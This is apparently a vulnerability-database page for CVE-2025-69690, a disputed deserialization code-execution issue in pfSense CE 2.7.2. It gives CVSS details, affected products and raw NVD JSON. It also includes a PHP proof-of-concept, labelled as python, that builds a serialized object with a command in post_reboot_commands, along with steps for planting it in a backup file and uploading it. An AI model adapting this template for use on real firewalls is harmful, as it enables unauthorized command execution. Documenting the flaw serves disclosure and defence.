Security Vulnerability Report
中文
CVE-2025-69690 CVSS 9.1 CRITICAL

CVE-2025-69690

Published: 2026-05-08 07:16:29
Last Modified: 2026-05-12 13:45:35

Description

Netgate pfSense CE 2.7.2 allows code execution by using the module installer with a backup file with a serialized PHP object containing the post_reboot_commands property. NOTE: the Supplier disputes this because this installer is only available to admins and they are intentionally allowed to execute PHP code.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pfsense:pfsense:2.7.2:*:*:*:community:*:*:* - VULNERABLE
Netgate pfSense CE 2.7.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /* * PoC Generator for CVE-2025-69690 * This script generates a serialized PHP object payload. * The payload targets the 'post_reboot_commands' property. */ class PfSenseModuleInstaller { // Target property that triggers command execution public $post_reboot_commands; } // Initialize the object $payloadObject = new PfSenseModuleInstaller(); // Define the malicious command to execute // Example: Create a simple file to prove execution $maliciousCommand = "echo 'CVE-2025-69690 POC' > /tmp/pwned.txt"; // Assign the command to the vulnerable property $payloadObject->post_reboot_commands = $maliciousCommand; // Generate the serialized payload $serializedPayload = serialize($payloadObject); // Output the payload echo "Generated Serialized Payload:\n"; echo $serializedPayload . "\n"; /* * Usage Instructions: * 1. Embed this serialized string into a valid pfSense backup file structure. * 2. Upload the crafted backup file using the Module Installer feature. * 3. Trigger the installation/reboot process to execute the command. */ ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69690", "sourceIdentifier": "[email protected]", "published": "2026-05-08T07:16:28.750", "lastModified": "2026-05-12T13:45:34.787", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "Netgate pfSense CE 2.7.2 allows code execution by using the module installer with a backup file with a serialized PHP object containing the post_reboot_commands property. NOTE: the Supplier disputes this because this installer is only available to admins and they are intentionally allowed to execute PHP code."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}, {"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pfsense:pfsense:2.7.2:*:*:*:community:*:*:*", "matchCriteriaId": "CFDCFA7A-4A54-4FB8-8548-008179AD8BD5"}]}]}], "references": [{"url": "https://seclists.org/fulldisclosure/2026/Feb/16", "source": "[email protected]", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}, {"url": "https://www.linkedin.com/in/nelson-adhepeau/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://seclists.org/fulldisclosure/2026/Feb/16", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}]}}